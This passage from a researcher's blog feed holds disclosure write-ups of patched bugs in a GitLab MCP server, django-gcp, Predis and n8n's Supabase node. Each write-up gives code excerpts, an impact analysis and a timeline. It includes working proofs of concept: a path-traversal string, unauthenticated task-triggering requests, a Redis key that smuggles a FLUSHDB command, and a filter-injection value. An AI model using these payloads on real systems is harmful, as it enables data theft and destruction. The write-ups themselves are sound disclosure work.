  <span class="k">return</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">value</span><span class="p">));</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">value</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="kr">string</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">encodeGitLabPathSegment</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The idea is: split on <code class="language-plaintext highlighter-rouge">/</code>, percent-encode each piece on its own, rejoin.
That should stop a segment from containing anything that lets it break out
of its slot in the URL.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p><code class="language-plaintext highlighter-rouge">encodeURIComponent</code> treats <code class="language-plaintext highlighter-rouge">.</code> as an <em>unreserved</em> character — it is
specified to never encode it. Split <code class="language-plaintext highlighter-rouge">"../../../../user"</code> on <code class="language-plaintext highlighter-rouge">/</code> and you get
<code class="language-plaintext highlighter-rouge">["..", "..", "..", "..", "user"]</code>; run <code class="language-plaintext highlighter-rouge">encodeGitLabPathSegment</code> on each
piece and every one of them comes back completely unchanged, because
there is nothing in a <code class="language-plaintext highlighter-rouge">..</code> segment for <code class="language-plaintext highlighter-rouge">encodeURIComponent</code> to encode.
Rejoining reproduces the exact input string. The “encoding” step does
nothing at all to a dot-segment payload.</p>

<p>The result is then embedded in a template literal and handed to
<code class="language-plaintext highlighter-rouge">new URL(...)</code> — which <em>does</em> collapse dot-segments, per RFC 3986 §5.2.4.
That’s the one part of the URL spec <code class="language-plaintext highlighter-rouge">encodeGitLabPath</code> needed to defend
against, and it doesn’t.</p>

<p>Four call sites reproduce this pattern, all reachable and all unpatched
at the time of reporting:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. downloadReleaseAsset() — the exact function GHSA-4rm9 was filed against</span>
<span class="s2">`</span><span class="p">${</span><span class="nx">apiUrl</span><span class="p">}</span><span class="s2">/projects/</span><span class="p">${</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">projectId</span><span class="p">)}</span><span class="s2">/releases/</span><span class="p">${</span><span class="nx">encodeGitLabPathSegment</span><span class="p">(</span><span class="nx">tagName</span><span class="p">)}</span><span class="s2">/downloads/</span><span class="p">${</span><span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">directAssetPath</span><span class="p">)}</span><span class="s2">`</span>

<span class="c1">// 2. getJobArtifactFile() — inlines the identical split/map/join logic</span>
<span class="c1">//    instead of calling the shared helper, but is exactly as vulnerable</span>
<span class="s2">`</span><span class="p">${</span><span class="nx">apiUrl</span><span class="p">}</span><span class="s2">/projects/</span><span class="p">${</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">projectId</span><span class="p">)}</span><span class="s2">/jobs/</span><span class="p">${</span><span class="nx">encodeGitLabPathSegment</span><span class="p">(</span><span class="nx">jobId</span><span class="p">)}</span><span class="s2">/artifacts/</span><span class="p">${</span><span class="nx">encodedArtifactPath</span><span class="p">}</span><span class="s2">`</span>

<span class="c1">// 3. downloads/proxy.ts "attachment" route (filename query param)</span>
<span class="s2">`</span><span class="p">${</span><span class="nx">apiUrl</span><span class="p">}</span><span class="s2">/projects/</span><span class="p">${</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">projectId</span><span class="p">)}</span><span class="s2">/uploads/</span><span class="p">${</span><span class="nx">encodeGitLabPathSegment</span><span class="p">(</span><span class="nx">secret</span><span class="p">)}</span><span class="s2">/</span><span class="p">${</span><span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">filename</span><span class="p">)}</span><span class="s2">`</span>

<span class="c1">// 4. downloads/proxy.ts "release-asset" route (direct_asset_path query param)</span>
<span class="s2">`</span><span class="p">${</span><span class="nx">apiUrl</span><span class="p">}</span><span class="s2">/projects/</span><span class="p">${</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">projectId</span><span class="p">)}</span><span class="s2">/releases/</span><span class="p">${</span><span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">tagName</span><span class="p">)}</span><span class="s2">/downloads/</span><span class="p">${</span><span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">directAssetPath</span><span class="p">)}</span><span class="s2">`</span>
</code></pre></div></div>

<p>A minimal proof of concept needs no live GitLab instance at all — the
escape happens purely in URL construction, before any network request:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">encodeGitLabPathSegment</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nb">decodeURIComponent</span><span class="p">(</span><span class="nx">value</span><span class="p">));</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">value</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">).</span><span class="nx">map</span><span class="p">(</span><span class="nx">encodeGitLabPathSegment</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">"</span><span class="s2">/</span><span class="dl">"</span><span class="p">);</span>
<span class="p">}</span>

<span class="kd">const</span> <span class="nx">apiUrl</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://gitlab.example.com/api/v4</span><span class="dl">"</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">directAssetPath</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">../../../../user</span><span class="dl">"</span><span class="p">;</span> <span class="c1">// attacker-controlled</span>

<span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">apiUrl</span><span class="p">}</span><span class="s2">/projects/1/releases/v1.0.0/downloads/</span><span class="p">${</span><span class="nx">encodeGitLabPath</span><span class="p">(</span><span class="nx">directAssetPath</span><span class="p">)}</span><span class="s2">`</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">url</span><span class="p">).</span><span class="nx">toString</span><span class="p">());</span>
<span class="c1">// -&gt; https://gitlab.example.com/api/v4/projects/user</span>
</code></pre></div></div>

<p>The intended <code class="language-plaintext highlighter-rouge">/projects/{id}/releases/{tag}/downloads/</code> prefix disappears
entirely; the request lands on <code class="language-plaintext highlighter-rouge">/api/v4/projects/user</code> instead.</p>

<h2 id="impact">Impact</h2>

<p>Any caller of <code class="language-plaintext highlighter-rouge">download_release_asset</code> or <code class="language-plaintext highlighter-rouge">get_job_artifact_file</code> — or
either affected HTTP download-proxy route — can redirect the request the
server makes, carrying the operator’s real GitLab token, to an arbitrary
<code class="language-plaintext highlighter-rouge">GET /api/v4/...</code> endpoint instead of the intended download. That reaches
things like <code class="language-plaintext highlighter-rouge">/api/v4/user</code> (the token owner’s account details) or other
projects’ and groups’ data the calling tool was never meant to expose.
Since this is an MCP tool argument, the value doesn’t have to come from a
deliberately malicious human operator — an LLM client steered by a
prompt-injected instruction can supply it just as easily.</p>

<p>The scope is limited to the operator’s own configured GitLab host — this
is request-path forgery within that instance, not external SSRF — but
within that scope, it turns a narrowly-scoped download feature into a way
to read anything the configured token can read.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-16</strong> — Reported to the maintainer via GitHub’s private
security-advisory reporting, with a runnable proof of concept covering
all four call sites.</li>
  <li><strong>2026-09-23</strong> — Advisory published as <code class="language-plaintext highlighter-rouge">GHSA-m682-5gg2-5rc9</code>, High (CVSS
3.1 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</code> = 7.5).</li>
  <li>Fixed in <strong>2.1.65</strong>.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-m682-5gg2-5rc9">GHSA-m682-5gg2-5rc9</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">django-gcp’s Cloud Tasks and Events Endpoints Have No Authentication By Default</title><link href="https://kearikan.com/writeups/django-gcp-unauthenticated-task-execution/" rel="alternate" type="text/html" title="django-gcp’s Cloud Tasks and Events Endpoints Have No Authentication By Default" /><published>2026-09-20T00:00:00+00:00</published><updated>2026-09-20T00:00:00+00:00</updated><id>https://kearikan.com/writeups/django-gcp-unauthenticated-task-execution</id><content type="html" xml:base="https://kearikan.com/writeups/django-gcp-unauthenticated-task-execution/"><![CDATA[<h2 id="summary">Summary</h2>

<p>django-gcp gives a Django app three routes for Google Cloud Tasks and
PubSub-driven events. All three are meant to be called only by Google
Cloud itself — but nothing in the package checks that. Any anonymous
request that can reach the URL can run whatever task the application
registered, with whatever arguments it likes, or inject an arbitrary event
into the app’s event-handling code.</p>

<h2 id="background">Background</h2>

<p><code class="language-plaintext highlighter-rouge">django_gcp/urls.py</code> wires up:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">urlpatterns</span> <span class="o">=</span> <span class="p">[</span>
    <span class="n">path</span><span class="p">(</span><span class="sa">r</span><span class="s">"events/&lt;event_kind&gt;/&lt;event_reference&gt;"</span><span class="p">,</span> <span class="n">GoogleCloudEventsView</span><span class="p">.</span><span class="n">as_view</span><span class="p">(),</span> <span class="n">name</span><span class="o">=</span><span class="s">"gcp-events"</span><span class="p">),</span>
    <span class="n">path</span><span class="p">(</span><span class="sa">r</span><span class="s">"subscriber-tasks/&lt;task_name&gt;"</span><span class="p">,</span> <span class="n">GoogleCloudSubscriberTaskView</span><span class="p">.</span><span class="n">as_view</span><span class="p">(),</span> <span class="n">name</span><span class="o">=</span><span class="s">"gcp-subscriber-tasks"</span><span class="p">),</span>
    <span class="n">path</span><span class="p">(</span><span class="sa">r</span><span class="s">"tasks/&lt;task_name&gt;"</span><span class="p">,</span> <span class="n">GoogleCloudTaskView</span><span class="p">.</span><span class="n">as_view</span><span class="p">(),</span> <span class="n">name</span><span class="o">=</span><span class="s">"gcp-tasks"</span><span class="p">),</span>
<span class="p">]</span>
</code></pre></div></div>

<p>All three views are plain Django <code class="language-plaintext highlighter-rouge">View</code> subclasses, decorated
<code class="language-plaintext highlighter-rouge">csrf_exempt</code> (necessary, since Google Cloud won’t send a CSRF token) —
but nothing else stands in for the authentication that decision removed.</p>

<p><code class="language-plaintext highlighter-rouge">GoogleCloudTaskView.post()</code> selects a task class by the <code class="language-plaintext highlighter-rouge">task_name</code> URL
segment and turns the request body straight into that task’s keyword
arguments:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">task_class</span> <span class="o">=</span> <span class="bp">self</span><span class="p">.</span><span class="n">tasks</span><span class="p">[</span><span class="n">task_name</span><span class="p">]</span>
<span class="n">task</span> <span class="o">=</span> <span class="n">task_class</span><span class="p">()</span>
<span class="n">task_kwargs</span> <span class="o">=</span> <span class="n">task</span><span class="p">.</span><span class="n">_body_to_kwargs</span><span class="p">(</span><span class="n">request_body</span><span class="o">=</span><span class="n">request</span><span class="p">.</span><span class="n">body</span><span class="p">)</span>  <span class="c1"># json.loads(body)
</span><span class="n">result</span> <span class="o">=</span> <span class="n">task</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="o">**</span><span class="n">task_kwargs</span><span class="p">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">GoogleCloudEventsView.post()</code> fires an <code class="language-plaintext highlighter-rouge">event_received</code> signal carrying
the URL’s <code class="language-plaintext highlighter-rouge">event_kind</code> and <code class="language-plaintext highlighter-rouge">event_reference</code>, the JSON body, and the query
string — again, with nothing checking who sent the request.</p>

<p>The documentation does warn that these routes should sit behind platform
IAM — an internal-ingress-only Cloud Run service, or an authenticating
proxy in front of it — but that’s an operator responsibility, not
something the package enforces. Nothing about the routes themselves
signals that they’re unprotected by default.</p>

<p>Notably, the package already ships the exact mechanism this needed:
<code class="language-plaintext highlighter-rouge">django_gcp/workflows/oidc.py</code> provides <code class="language-plaintext highlighter-rouge">verify_workflow_oidc_token</code> and
<code class="language-plaintext highlighter-rouge">workflow_oidc_required</code>, which check a token’s signature, verify the
audience matches the request URI, and check the signing service account
against an allow-list. That guard exists — it’s just scoped to a
different feature (workflows) and never applied to tasks or events.</p>

<h2 id="impact">Impact</h2>

<p>Anyone who can reach the URL can invoke any registered task with
arguments of their choosing. Task handlers are backend jobs — refunds,
provisioning, deletion, third-party sync, sending mail — and are commonly
written with no authorization checks of their own, precisely because
they’re only supposed to be reachable from Cloud Tasks:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /gcp/tasks/RefundCustomerTask
{"account_id": "victim-account-1", "amount": "50000.00"}

-&gt; 200 {"result": "refunded 50000.00 to victim-account-1"}
</code></pre></div></div>

<p>An unrecognized task name returns the full registry of available tasks in
the error response, so an attacker doesn’t need to guess:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /gcp/tasks/does-not-exist
-&gt; 404 {"error": "Task does-not-exist not found", "available_tasks": ["RefundCustomerTask"]}
</code></pre></div></div>

<p>The events endpoint is equally open — an anonymous request can inject
whatever <code class="language-plaintext highlighter-rouge">event_kind</code>/<code class="language-plaintext highlighter-rouge">event_reference</code>/body/query-string it likes into
whatever the application has connected to <code class="language-plaintext highlighter-rouge">event_received</code>, which
commonly drives GCS-notification-triggered file processing.</p>

<p>There’s no deserialization RCE here — the body is parsed with <code class="language-plaintext highlighter-rouge">json.loads</code>,
not anything that executes arbitrary code on its own — so the actual
ceiling depends on what a given deployment’s tasks and event handlers do
with their input. For most applications, that’s still a meaningful chunk
of backend functionality reachable by anyone on the internet.</p>

<h2 id="fix">Fix</h2>

<p>Fixed in <strong>0.27.0</strong> — upgrade following the notes at the
<a href="https://github.com/octue/django-gcp/releases/tag/0.27.0">0.27.0 release</a>.
If you can’t upgrade immediately, put these three routes behind
authenticating infrastructure (internal-ingress Cloud Run, or a proxy that
verifies the request actually came from Google) rather than exposing them
directly.</p>

<h2 id="timeline">Timeline</h2>

<ul>
  <li><strong>2026-09-11</strong> — Reported via GitHub’s private security-advisory
reporting.</li>
  <li><strong>2026-09-20</strong> — Advisory published as <code class="language-plaintext highlighter-rouge">GHSA-m3g2-c3jw-pvxf</code>, High (CVSS
3.1 <code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L</code> = 8.6).</li>
  <li>Fixed in <strong>0.27.0</strong>.</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/octue/django-gcp/security/advisories/GHSA-m3g2-c3jw-pvxf">GHSA-m3g2-c3jw-pvxf</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">Predis’s write() Re-Parses Its Buffer on \r\n, Enabling Redis Command Injection</title><link href="https://kearikan.com/writeups/predis-abstractaggregateconnection-write-crlf-injection/" rel="alternate" type="text/html" title="Predis’s write() Re-Parses Its Buffer on \r\n, Enabling Redis Command Injection" /><published>2026-09-17T00:00:00+00:00</published><updated>2026-09-17T00:00:00+00:00</updated><id>https://kearikan.com/writeups/predis-abstractaggregateconnection-write-crlf-injection</id><content type="html" xml:base="https://kearikan.com/writeups/predis-abstractaggregateconnection-write-crlf-injection/"><![CDATA[<h2 id="summary">Summary</h2>

<p>Redis’s wire protocol, RESP, is length-prefixed: an argument states its own
byte length up front, so the server reads exactly that many bytes
regardless of what they contain. <code class="language-plaintext highlighter-rouge">Predis\Connection\AbstractAggregateConnection::write()</code>
— a public method on the interface every Predis connection implements,
reachable through the ordinary, documented <code class="language-plaintext highlighter-rouge">Client::getConnection()</code> call
— ignores that and re-derives command boundaries by splitting the buffer
on literal <code class="language-plaintext highlighter-rouge">\r\n</code> bytes instead. Any value or key that happens to contain
<code class="language-plaintext highlighter-rouge">\r\n</code> can carve a completely separate, attacker-chosen command out of what
should have been a single argument, and have it dispatched to whichever
node the connection resolves it to.</p>

<h2 id="background">Background</h2>

<p><code class="language-plaintext highlighter-rouge">write(string $buffer): void</code> is declared on <code class="language-plaintext highlighter-rouge">Connection\ConnectionInterface</code>
— not an internal helper, but genuinely public API — and does this:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">function</span> <span class="n">write</span><span class="p">(</span><span class="kt">string</span> <span class="nv">$buffer</span><span class="p">):</span> <span class="kt">void</span>
<span class="p">{</span>
    <span class="nv">$rawCommands</span> <span class="o">=</span> <span class="p">[];</span>
    <span class="nv">$explodedBuffer</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">,</span> <span class="nb">trim</span><span class="p">(</span><span class="nv">$buffer</span><span class="p">));</span>

    <span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$explodedBuffer</span><span class="p">))</span> <span class="p">{</span>
        <span class="nv">$argsLen</span> <span class="o">=</span> <span class="p">(</span><span class="n">int</span><span class="p">)</span> <span class="nb">explode</span><span class="p">(</span><span class="s1">'*'</span><span class="p">,</span> <span class="nv">$explodedBuffer</span><span class="p">[</span><span class="mi">0</span><span class="p">])[</span><span class="mi">1</span><span class="p">];</span>
        <span class="nv">$cmdLen</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$argsLen</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
        <span class="nv">$rawCommands</span><span class="p">[]</span> <span class="o">=</span> <span class="nb">array_splice</span><span class="p">(</span><span class="nv">$explodedBuffer</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nv">$cmdLen</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">foreach</span> <span class="p">(</span><span class="nv">$rawCommands</span> <span class="k">as</span> <span class="nv">$command</span><span class="p">)</span> <span class="p">{</span>
        <span class="nv">$command</span> <span class="o">=</span> <span class="nb">implode</span><span class="p">(</span><span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$command</span><span class="p">)</span> <span class="mf">.</span> <span class="s2">"</span><span class="se">\r\n</span><span class="s2">"</span><span class="p">;</span>
        <span class="nv">$commandObj</span> <span class="o">=</span> <span class="nc">Command</span><span class="o">::</span><span class="nf">deserializeCommand</span><span class="p">(</span><span class="nv">$command</span><span class="p">);</span>
        <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">getConnectionByCommand</span><span class="p">(</span><span class="nv">$commandObj</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">write</span><span class="p">(</span><span class="nv">$command</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function takes an already-correctly-serialized RESP buffer and
re-parses it a second time, on the client side, using a byte-delimiter
strategy that disagrees with how the protocol it’s re-parsing actually
works.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>A bulk-string argument like <code class="language-plaintext highlighter-rouge">PAD4\r\n*1\r\n$7\r\nFLUSHDB</code> is, to the real
Redis server, a single value of whatever length was declared for it — the
embedded <code class="language-plaintext highlighter-rouge">\r\n</code> sequences inside it are just bytes, not protocol
boundaries, because RESP tells the server how many bytes to read rather
than where to stop reading.</p>

<p><code class="language-plaintext highlighter-rouge">AbstractAggregateConnection::write()</code>’s own re-parser doesn’t know that.
Splitting that same string on <code class="language-plaintext highlighter-rouge">\r\n</code> produces five lines; the parser reads
<code class="language-plaintext highlighter-rouge">*1</code> from the second line and concludes a new “command” starts there,
consisting of one argument — and reconstructs <code class="language-plaintext highlighter-rouge">*1\r\n$7\r\nFLUSHDB\r\n</code>, a
complete, syntactically valid <code class="language-plaintext highlighter-rouge">FLUSHDB</code> command, as if the calling
application had sent it on its own. <code class="language-plaintext highlighter-rouge">getConnectionByCommand()</code> then routes
this fabricated command to whichever node Predis’s fake routing key
happens to hash to for a keyless command like <code class="language-plaintext highlighter-rouge">FLUSHDB</code>, and that node
executes it.</p>

<p>Because <code class="language-plaintext highlighter-rouge">write()</code> sits on the public <code class="language-plaintext highlighter-rouge">ConnectionInterface</code> and is
reachable via the documented <code class="language-plaintext highlighter-rouge">Client::getConnection()</code> method, this
doesn’t require any special calling pattern — any code writing a raw
buffer to a cluster or replication connection, built from data that
includes attacker-influenced keys or values, is exposed.</p>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Two plain Redis instances standing in as cluster shards, addressed through
Predis’s client-side cluster sharding:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$client</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Predis\Client</span><span class="p">(</span>
    <span class="p">[</span><span class="s1">'tcp://127.0.0.1:6391'</span><span class="p">,</span> <span class="s1">'tcp://127.0.0.1:6392'</span><span class="p">],</span>
    <span class="p">[</span><span class="s1">'cluster'</span> <span class="o">=&gt;</span> <span class="s1">'predis'</span><span class="p">]</span>
<span class="p">);</span>

<span class="nv">$connection</span> <span class="o">=</span> <span class="nv">$client</span><span class="o">-&gt;</span><span class="nf">getConnection</span><span class="p">();</span> <span class="c1">// documented public API, no pipeline() involved</span>

<span class="nv">$key</span> <span class="o">=</span> <span class="s2">"slug:PAD4</span><span class="se">\r\n</span><span class="s2">*1</span><span class="se">\r\n\$</span><span class="s2">7</span><span class="se">\r\n</span><span class="s2">FLUSHDB"</span><span class="p">;</span>
<span class="nv">$buf</span> <span class="o">=</span> <span class="p">(</span><span class="k">new</span> <span class="nc">Predis\Command\RawCommand</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,</span> <span class="p">[</span><span class="nv">$key</span><span class="p">]))</span><span class="o">-&gt;</span><span class="nf">serializeCommand</span><span class="p">();</span>
<span class="nv">$connection</span><span class="o">-&gt;</span><span class="nf">write</span><span class="p">(</span><span class="nv">$buf</span><span class="p">);</span>
</code></pre></div></div>

<p>A single <code class="language-plaintext highlighter-rouge">GET</code> call — nothing that looks like a write, let alone a
<code class="language-plaintext highlighter-rouge">FLUSHDB</code> — reliably empties one of the two shards after a handful of
attempts (routing to a specific shard depends on which slot the fake
routing key hashes to, so success is probabilistic with few shards and
approaches certainty as shard count grows):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Before: shard1 dbsize=47, shard2 dbsize=53
  attempt 4: shard1 dbsize=47, shard2 dbsize=0
</code></pre></div></div>

<h2 id="impact">Impact</h2>

<p>Any application using a Predis cluster or replication client that ever
writes a raw buffer built from attacker-influenced key or value data
through this method is exposed to unauthenticated command injection on a
node it never intended to send anything to: cluster-wide <code class="language-plaintext highlighter-rouge">FLUSHDB</code>,
targeted <code class="language-plaintext highlighter-rouge">DEL</code>/<code class="language-plaintext highlighter-rouge">SET</code>, key theft via <code class="language-plaintext highlighter-rouge">GET</code>, or a <code class="language-plaintext highlighter-rouge">CLUSTER FLUSHSLOTS</code>-driven
outage. Since the method is a property of the connection object itself,
this isn’t tied to any one specific calling pattern in application code.</p>

<h2 id="fix">Fix</h2>

<p>Fixed in <strong>v3.6.1</strong>, which replaces the <code class="language-plaintext highlighter-rouge">\r\n</code>-splitting re-parser with
logic that walks the buffer by each argument’s own declared byte length,
matching how RESP actually works — an embedded <code class="language-plaintext highlighter-rouge">\r\n</code> inside a value can
no longer be reinterpreted as a fresh command boundary.</p>

<h2 id="timeline">Timeline</h2>

<p>The path to a fix wasn’t a straight line. The initial report was closed
without engagement the same day it was filed; a public follow-up laying
out exactly what a related, earlier fix had and hadn’t covered got the
maintainer to re-open it, and a contributor shipped the real fix days
later.</p>

<ul>
  <li><strong>2026-09-14</strong> — Reported via GitHub’s private security-advisory
reporting.</li>
  <li><strong>2026-09-14</strong> — Closed by the maintainer without comment, a few hours
later.</li>
  <li><strong>2026-09-14</strong> — Public follow-up opened, explaining the specific
reachable path in more detail.</li>
  <li><strong>2026-09-15</strong> — Maintainer re-engaged, advisory reopened and formally
accepted; a fix shipped shortly after in a pull request rewriting the
vulnerable method to use length-prefixed parsing.</li>
  <li><strong>2026-09-17</strong> — Fix released in <strong>v3.6.1</strong>; advisory published as
<code class="language-plaintext highlighter-rouge">GHSA-v32q-pmmw-cf38</code>, Critical (CVSS 3.1
<code class="language-plaintext highlighter-rouge">AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code> = 9.8).</li>
</ul>

<h2 id="disclosure">Disclosure</h2>

<p>Full advisory: <a href="https://github.com/predis/predis/security/advisories/GHSA-v32q-pmmw-cf38">GHSA-v32q-pmmw-cf38</a>.</p>]]></content><author><name>Kaya Emre Arıkan</name></author><summary type="html"><![CDATA[Summary]]></summary></entry><entry><title type="html">n8n’s Supabase Node Filter Injection</title><link href="https://kearikan.com/writeups/n8n-supabase-filter-string-postgrest-injection/" rel="alternate" type="text/html" title="n8n’s Supabase Node Filter Injection" /><published>2026-09-16T00:00:00+00:00</published><updated>2026-09-16T00:00:00+00:00</updated><id>https://kearikan.com/writeups/n8n-supabase-filter-string-postgrest-injection</id><content type="html" xml:base="https://kearikan.com/writeups/n8n-supabase-filter-string-postgrest-injection/"><![CDATA[<h2 id="summary">Summary</h2>

<p>n8n’s Supabase node offers two ways to filter which rows a <code class="language-plaintext highlighter-rouge">Get Many</code>,
<code class="language-plaintext highlighter-rouge">Update</code>, or <code class="language-plaintext highlighter-rouge">Delete</code> operation touches: a structured “Build Manually”
mode, and a raw “Filters (String)” mode where you write the PostgREST
filter expression yourself. n8n had already fixed a filter-injection bug
in “Build Manually.” “Filters (String)” has the identical class of bug,
completely unescaped, and no safe alternative exists for that mode at all.</p>

<h2 id="background">Background</h2>

<p>PostgREST — the query layer Supabase’s REST API is built on — parses
filter expressions like <code class="language-plaintext highlighter-rouge">or=(email.eq.alice@example.com)</code> from the query
string. Certain characters (<code class="language-plaintext highlighter-rouge">,&amp;=():@</code>) are structurally meaningful to that
parser, so any value inserted into a filter expression needs those
characters escaped or the expression’s boundaries can be redrawn by
whoever controls the value.</p>

<p>“Filters (String)” mode takes exactly that risk and does nothing about it:</p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nx">filterType</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">string</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">filterString</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">getNodeParameter</span><span class="p">(</span><span class="dl">'</span><span class="s1">filterString</span><span class="dl">'</span><span class="p">,</span> <span class="nx">i</span><span class="p">)</span> <span class="k">as</span> <span class="kr">string</span><span class="p">;</span>
    <span class="nx">endpoint</span> <span class="o">=</span> <span class="s2">`</span><span class="p">${</span><span class="nx">endpoint</span><span class="p">}</span><span class="s2">?</span><span class="p">${</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">filterString</span><span class="p">)}</span><span class="s2">`</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">filterString</code> is a normal n8n expression field, so a workflow commonly
builds it from external input — a webhook body, for instance — to
parameterize a lookup like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>or=(email.eq.{{ $json.body.email }})
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">encodeURI()</code> deliberately leaves PostgREST’s reserved characters
unescaped; it isn’t a security boundary here, it’s meant for building
valid URLs out of already-trusted strings. There’s no escaping function
anywhere in this path, and — unlike “Build Manually,” which has a
parameterized, safe alternative — there’s no safe equivalent for this mode
at all.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>Feed the filter a value containing a comma, and the comma closes the
intended condition and opens a new, attacker-chosen one. Given a workflow
with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Filters (String) = or=(email.eq.{{ $json.body.email }})
</code></pre></div></div>

<p>a normal request <code class="language-plaintext highlighter-rouge">{"email": "alice@example.com"}</code> returns exactly Alice’s
row, as intended. A request with:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"nobody@x.com,id.gt.0"</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>produces the filter <code class="language-plaintext highlighter-rouge">or=(email.eq.nobody@x.com,id.gt.0)</code> — the comma ends
the <code class="language-plaintext highlighter-rouge">email.eq.</code> condition and adds <code class="language-plaintext highlighter-rouge">id.gt.0</code>, an always-true condition on
every row’s primary key. The query now matches every row in the table
instead of the zero rows a nonexistent email should have matched.</p>

<p>The same unescaped pattern exists identically in all three operations that
offer this mode — <code class="language-plaintext highlighter-rouge">Get Many</code>, <code class="language-plaintext highlighter-rouge">Update</code>, and <code class="language-plaintext highlighter-rouge">Delete</code> — so the same
technique that widens a read to every row also widens a delete to every
